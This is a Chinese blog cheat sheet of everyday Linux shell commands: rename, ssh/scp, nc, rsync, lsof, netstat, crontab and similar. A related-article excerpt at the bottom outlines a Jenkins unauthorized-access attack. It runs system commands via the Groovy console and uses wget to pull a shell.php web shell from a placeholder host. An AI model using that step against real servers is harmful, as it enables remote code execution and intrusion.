shell 常用

摘要:
//左括号“复制本地文件。例如:rsync-a./test.c/backup2)使用远程shell程序将本地计算机的内容复制到远程计算机。例如:rsync-avzuser@172.16.0.11:/home/user/src/src4)将文件从远程rsync服务器复制到本地计算机。例如:rsync av/databackuser@172.16.0.11::www6)列出远程计算机的文件。这类似于rsync传输,但仅当命令中省略了本地机器信息时。

命令行常用的快捷键

ctrl + c 中断当前命令执行
ctrl + w 往回删除一个单词,光标放在最末尾
ctrl + u 删除光标以前的字符
ctrl + k 删除光标以后的字符
ctrl + a 移动光标至的字符头
ctrl + e 移动光标至的字符尾
ctrl + l 清屏

rename 重命名

rename -n 's/abc/def/' * //针对当前文件夹下的所有文件 把abc 替换为def -n并不执行
rename 's/abc/def/' * //针对当前文件夹下的所有文件 把abc 替换为def
rename 's/abc/def/g' * //针对当前文件夹下的所有文件把所有abc 替换为def
支持通配符
? 可替代单个字符
* 可替代多个字符
例子 文件夹中有这些文件foo1, ..., foo9, foo10, ...foo111
rename foo foo0 foo? // foo1到foo9的文件重命名为foo01到foo09,重命名的文件只是有4个字符长度名称的文件,文件名中的foo被替换为foo0
rename 's/^(//' *.png。 //将左括号"("去掉
rename 's/.jpg$/.png/' *.jpg //将后缀名.jpg改成.png

批量去掉隐藏文件名的第一个点.

ls -adl .* | awk '{print $NF}' | sed 's/^.//g' | xargs -i'{}' mv .{} {} //把所有隐藏的文件显示出来
ls -adl .* //列出.* 模式的普通文件 不包括 . ..文件夹
awk '{print $NF}' //列出最后一列
sed 's/^.//g' //替换以.开头的.
xargs -i'{}' mv .{} {} //把前边的输出作为命令行参数 传递给mv命令,-i'{}' 指定模版符号'{}' 表示前边传过来的参数

mac 命令行 批量把文件名前加'g21_'

ls -adl * | awk '{print $NF}' | xargs -I '{}' mv {} 'g21_'{}

ssh/scp

ssh -p 6000 root@xxx.com
ssh -i ~/xxx.pem root@xxx.com
scp -P 6000 root@xxx.com:/xxx.txt ./
scp -i ~/xxx.pem root@xxx.com:/xxx/xxx.txt ./
scp xxx.txt root@xxx.com:/xxx.txt
(-v detail info)

ssh/scp使用sock5代理连接

scp -P 8888 -o ProxyCommand="nc -x 127.0.0.1:1086 %h %p" root@ip:/root/xx.txt .
ssh -p 8888 -o ProxyCommand="nc -x 127.0.0.1:1086 %h %p" root@ip

traceroute192.168.9.1 -n

telnet 192.168.1.2 8000 (only tcp, quit)

nc
nc -vzw 6 IP port (-w timeout time) //测试TCP端口
nc -vuzw 2 IP port //测试UDP端口
nc -l port //临时监听TCP端口
nc -lk port //永久监听TCP端口
nc -lu port //临时监听UDP
nc -luk port //永久监听UDP

linux 挂载 u盘
fdisk -l //查看当前插入的u盘
mkdir /mnt/udisk //创建挂载目录
mount /dev/xxx /mnt/udisk
umount /mnt/udisk

rsync copy file

1)拷贝本地文件。当SRC和DES路径信息都不包含有单个冒号":"分隔符时就启动这种工作模式。
如:rsync -a ./test.c /backup
2)使用一个远程shell程序(如rsh、ssh)来实现将本地机器的内容拷贝到远程机器。当DES路径地址包含单个冒号":"分隔符时启动该模式。
如:rsync -avz test.c user@172.16.0.11:/home/user/src
3)使用一个远程shell程序(如rsh、ssh)来实现将远程机器的内容拷贝到本地机器。当SRC地址路径包含单个冒号":"分隔符时启动该模式。
如:rsync -avz user@172.16.0.11:/home/user/src ./src
4)从远程rsync服务器中拷贝文件到本地机。当SRC路径信息包含"::"分隔符时启动该模式。
如:rsync -av user@172.16.0.11::www /databack
5)从本地机器拷贝文件到远程rsync服务器中。当DES路径信息包含"::"分隔符时启动该模式。
如:rsync -av /databack user@172.16.0.11::www
6)列远程机的文件列表。这类似于rsync传输,不过只要在命令中省略掉本地机信息即可。
如:rsync -v rsync://172.16.78.192 /www
-v, --verbose 详细模式输出
-a, --archive 归档模式,表示以递归方式传输文件,并保持所有文件属性,等于-rlptgoD
-z, --compress 对备份的文件在传输时进行压缩处理

lsof命令
通过list open file命令可以查看到当前打开文件,在linux中所有事物都是以文件形式存在,包括网络连接及硬件设备。

lsof -i:80
-i参数表示网络链接,:80指明端口号,该命令会同时列出PID,方便kill

查看所有进程监听的端口

sudo lsof -i -P | grep -i "listen"

netstat -nlp |grep LISTEN //查看当前所有监听端口·
netstat -nlp |grep 80 //查看所有80端口使用情况·
netstat -an | grep 3306 //查看所有3306端口使用情况·

dig www.baidu.com @127.0.0.1 -p 5353 //指定特定端口的dns服务 查ip

杀前6个有NODE 的进程

ps aux | grep node | head -6 | awk '{print $2}' | xargs kill -9

统计已连接上的,状态为“established'

netstat -na|grep ESTABLISHED|wc -l

netstat -s命令
netstat -s | egrep "listen|LISTEN"
667399 times the listen queue of a socket overflowed
667399 SYNs to LISTEN sockets ignored
上面看到的 667399 times ,表示全连接队列溢出的次数,隔几秒钟执行下,如果这个数字一直在增加的话肯定全连接队列偶尔满了。
netstat -s | grep TCPBacklogDrop
查看 Accept queue 是否有溢出
ss命令
ss -lnt
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 128 *:6379 *:*
LISTEN 0 128 *:22 *:*
如果State是listen状态,Send-Q 表示第三列的listen端口上的全连接队列最大为50,第一列Recv-Q为全连接队列当前使用了多少。
非 LISTEN 状态中 Recv-Q 表示 receive queue 中的 bytes 数量;Send-Q 表示 send queue 中的 bytes 数值。

系统信息
cat /proc/cpuinfo
cat /proc/version
cat /etc/issue
cat /etc/lsb-release
uname -a

free -h
df -h
du

/var/log/wtmp //每个用户的登录次数和持续时间等信息
/var/log/btmp //详细,包括登录失败请求
/var/run/utmp //当前正在本系统中的用户的信息
二进制文件转换为可编辑文件 wtmp.file
utmpdump /var/log/wtmp >/var/log/wtmp.file
可编辑文件转换为二进制文件
utmpdump -r < /var/log/wtmp.file > /var/log/wtmp

crontab文件的含义

六个字段,前五段是时间设定段,第六段是要执行的命令段,格式如下:

minute hour day month week command

其中:

minute: 表示分钟,可以是从0到59之间的任何整数。

hour:表示小时,可以是从0到23之间的任何整数。

day:表示日期,可以是从1到31之间的任何整数。

month:表示月份,可以是从1到12之间的任何整数。

week:表示星期几,可以是从0到7之间的任何整数,这里的0或7代表星期日。

command:要执行的命令,可以是系统命令,也可以是自己编写的脚本文件。

在以上各个字段中,还可以使用以下特殊字符:

星号(*):代表所有可能的值,例如month字段如果是星号,则表示在满足其它字段的制约条件后每月都执行该命令操作。

逗号(,):可以用逗号隔开的值指定一个列表范围,例如,“1,2,5,7,8,9”

中杠(-):可以用整数之间的中杠表示一个整数范围,例如“2-6”表示“2,3,4,5,6”

正斜线(/):可以用正斜线指定时间的间隔频率,例如“0-23/2”表示每两小时执行一次。同时正斜线可以和星号一起使用,例如*/10,如果用在minute字段,表示每十分钟执行一次。

glibc版本查看
ldd --version

strings /lib/arm-linux-gnueabihf/libc.so.6 | grep GLIBC_

免责声明:文章转载自《shell 常用》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇adb logcat 基本用法java命名总结下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

jenkins未授权访问/弱口令漏洞

昨天晚上面试官问到了,还没来得及看,今天又问到了,猝不及防,蓝瘦,香菇、、、 今天特此总结一下,给自己一个交代。 总述:进入后台可进行如下操作: 直接执行系统命令: println "cmd".execute().text wget下载文件getshell: println "wget http://xxxx/tools/shell.php -P /t...

循序渐进Linux 2:Linux的常用命令及使用技巧

一、Shell   shell本身是一个以C语言编写的程序,是用户和操作系统内核之间通信的桥梁。shell既是一种命令解释程序,又是一种功能强大的解释型程序设计语言。shell解释用户输入的命令,提交到内核处理,最后返回结果给用户。 1. shell命令语法分析 command [option] -[arguments] 2. shell的通配符 bash...

常用rides命令

rides使用步骤 1.源代码构建安装 1.下载,Linux下命令wget http://redis.io/download下载redis的包 2.解归档Linux下命令 tar -xvf redis-4.0.11 3.进入解归档后的文件夹cd redis-4.0.11 4.构建安装Linux下命令make && make ins...

Java命令学习系列(三)——Jmap

jmap是JDK自带的工具软件,主要用于打印指定Java进程(或核心文件、远程调试服务器)的共享对象内存映射或堆内存细节。可以使用jmap生成Heap Dump。在Java命令学习系列(零)——常见命令及Java Dump介绍和Java命令学习系列(二)——Jstack中分别有关于Java Dump以及线程 Dump的介绍。这篇文章主要介绍Java的堆Du...

vi编辑器的学习使用(十五)

Vim大量的工作是通过命令行的方式来完成,这样的命令行方式对于则接触Vim新手来说也许会觉得难于操作,可是当我们习惯了这样的工作方式后,我们就不得不佩服Vim的强大功能,正是这些命令使得我们可以高效的来完成我们的工作.而在Vim当中还有一些其他的命令.命令:ascii或者是ga可以用ASCII码和八进制及十六进制打印出来.当我们编辑多字节文件时,例如说我们...

shell脚本(6)-shell数组

一、数组介绍 一个变量只能存一个值,现实中很多值需要存储,可以定义数组来存储一类的值。 二、基本数组 1、概念: 数组可以让用户一次性赋予多个值,需要读取数据时只需通过索引调用就可以方便读出。 2、数组语法 数组名称=(元素1 元素2 元素3) [root@localhost test20210725]# list1=(1 2 3 4 5) [root@...